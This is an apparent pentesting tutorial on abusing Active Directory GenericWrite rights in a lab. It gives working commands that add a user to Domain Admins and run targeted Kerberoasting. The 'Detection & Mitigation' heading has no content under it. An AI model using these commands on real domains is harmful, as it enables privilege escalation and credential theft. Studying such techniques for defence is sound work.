Abusing AD-DACL: GenericWrite

 In this post, we will explore the exploitation of Discretionary Access Control Lists (DACL) using the GenericWrite permission in Active Directory environments. This permission can be exploited by attackers to update attributes such as group memberships, account permissions, or even execute privilege escalation by modifying login scripts or service principals.

The lab setup necessary to simulate these attacks is outlined, with methods mapped to the MITRE ATT&CK framework to clarify the associated techniques and tactics. Detection mechanisms for identifying suspicious activities linked to GenericWrite attacks are also covered, alongside actionable recommendations for mitigating these vulnerabilities. This overview equips security professionals with critical insights to recognize and defend against these prevalent threats.

Table of Contents

Abusing AD-DACL- GenericWrite

GenericWrite Permission

Prerequisites

Lab Setup – User Owns GenericWrite Permission on the Domain Admin Group

Exploitation Phase I – User Owns GenericWrite Permission on a Group

Bloodhound - Hunting for Weak Permission

Method for Exploitation – Account Manipulation (T1098)

• Linux Net RPC – Samba
• Linux Bloody AD
• Windows Net command
• Windows PowerShell – Powerview

Lab Setup – User Owns GenericWrite Permission on Another User

Exploitation Phase II – User Owns GenericWrite Permission on Another User

Bloodhound - Hunting for Weak Permission

Method for Exploitation – Kerberoasting (T1558.003)

• Linux Python Script – TargetedKerberoast
• Windows PowerShell – Powerview

Detection & Mitigation

 

GenericWrite Permission

The GenericWrite permission in Active Directory allows a user to modify all writable attributes of an object, excluding properties requiring special permissions like resetting passwords.

With GenericWrite over a user, you can write to the "servicePrincipalNames" attribute and perform a targeted kerberoasting attack.

With GenericWrite over a group, add yourself or another principal you control to the group.

With GenericWrite over a computer, you can write to the “msds-KeyCredentialLink” attribute. Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using Kerberos PKINIT.

Prerequisites

• Windows Server 2019 as Active Directory
• Kali Linux
• Tools: Bloodhound, Net RPC, Powerview, BloodyAD
• Windows 10/11 – As Client

Lab Setup – User Owns GenericWrite Permission on the Domain Admin Group

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

·       Install Windows Server (2016 or 2019 recommended).

·       Promote it to a Domain Controller by adding the Active Directory Domain Services role.

·       Set up the domain (e.g., ignite.local).

User Accounts:

·       Create a standard user account named Anuradha.

net user anuradha Password@1 /add /domain

 

Assign the "GenericWrite" Privilege to Anuradha:

Once your AD environment is set up, you need to assign the "GenericWrite" privilege to Anuradha for the Domain Admins group.

Steps:

·       Open Active Directory Users and Computers (ADUC) on the Domain Controller.

·       Enable the Advanced Features view by clicking on View > Advanced Features.

·       Locate the Domain Admins group in the Users container.

 

Right-click on Domain Admins and go to Properties.

 

Go to the Security tab, and click on Add button

 

In the “Enter the object name to select” box, type Anuradha and click Check Names and click on OK.

 

 

In the Permissions section, check the box for Write permission.

 

Selecting the Write checkbox automatically enables the "Add/remove self as member" checkbox and Apply the settings.

At this point, Anuradha now has GenericWrite and AddSelf rights over the Domain Admins group, meaning they can add themselves or another principal they control to the group.

 

Exploitation Phase I – User Owns GenericWrite Permission on a Group

Bloodhound - Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Anuradha has the GenericWrite permission on the Domain Admins group.

bloodhound-python -u anuradha -p Password@1 -ns 192.168.1.7 -d ignite.local -c All

 

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

 

Thus, it has shown the Anuradha User has GenericWrite and SelfAdd privilege to Domain Admin group.

 

Method for Exploitation – Account Manipulation (T1098)

Linux Net RPC – Samba

The tester can abuse this permission by adding Anuradha User into Domain Admin group and list the domain admin members to ensure that Anuradha Users becomes Domain Admin.

net rpc group addmem "Domain Admins" anuradha -U ignite.local/anuradha%'Password@1' -S 192.168.1.7

Bloody AD

Alternatively, it can be achieved using bloodyAD

bloodyAD --host "192.168.1.7" -d "ignite.local" -u "anuradha" -p "Password@1" add groupMember "Domain Admins" "anuradha"

Windows Net command

This can be achieved with a native command line, using windows net command.

net group "domain admins" anuradha /add /domain

thus, from user property we can see Anuradha user has become the member of domain admin.

 

Windows PowerShell - Powerview

The attacker can add a user/group/computer to a group. This can be achieved with with the Active Directory PowerShell module, or with Add-DomainGroupMember (PowerView module).

powershell -ep bypass

Import-Module .\PowerView.ps1

$SecPassword = ConvertTo-SecureString 'Password@1' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('ignite.local\anuradha', $SecPassword)

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'anuradha' -Credential $Cred

 

Lab Setup – User Owns GenericWrite Permission on Another User

Here, in this lab setup, we will create two users’ Krishna and Radha, where the user Radha has GenericWrite permission over the Krishna user.

Create the AD Environment and User accounts

·       Create two AD user accounts named Krishna and Radha.

 

net user krishna Password@1 /add /domain

net user radha Password@1 /add /domain

 

Assign the "GenericWrite" Privilege:

·       Open Active Directory Users and Computers (ADUC) on the Domain Controller.

·       Enable the Advanced Features view by clicking on View > Advanced Features.

·       Locate User Krishna in the Users container.

·       Right-click on Krishna User and go to Properties.

 

1.       Go to the Security tab, and click on Add button

2.       In the “Enter the object name to select” box, type Radha and click Check Names and click on OK.

3.       Select Radha user and in the Permissions section, check the box for Write permission.

4.       Apply the settings.

At this point, Radha now has GenericWrite permission for Krishna user.

 

 

Exploitation Phase II – User Owns GenericWrite Permission on Another User

Bloodhound - Hunting for Weak Permission

Hunting for First-Degree Object Control for the Radha user, as demonstrated in the previous steps.

bloodhound-python -u anuradha -p Password@1 -ns 192.168.1.7 -d ignite.local -c All

 

From the graph it can be observed that the Radha user owns GenericWrite privilege on Krishna user.

 

Method for Exploitation – Kerberoasting (T1558.003)

This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, WriteProperty or Validated-SPN over the target.

TargetedKerberoast

From UNIX-like systems, this can be done with targetedKerberoast.py (Python).

Further, with the help of John the Ripper end the dictionary such as Rock You can help the attacker to brute force the weak password.

./targetedKerberoast.py --dc-ip '192.168.1.7' -v -d 'ignite.local' -u 'radha' -p 'Password@1'

 

Windows PowerShell - Powerview

From Windows machines, this can be achieved with Set-DomainObject and Get-DomainSPNTicket (PowerView module).

powershell -ep bypass

Import-Module .\PowerView.ps1

Set-DomainObject -Identity 'krishna' -Set @{serviceprincipalname='nonexistent/hacking'}

Get-DomainUser 'krishna' | Select serviceprincipalname

$User = Get-DomainUser 'krishna'

$User | Get-DomainSPNTicket

 

Detection & Mitigation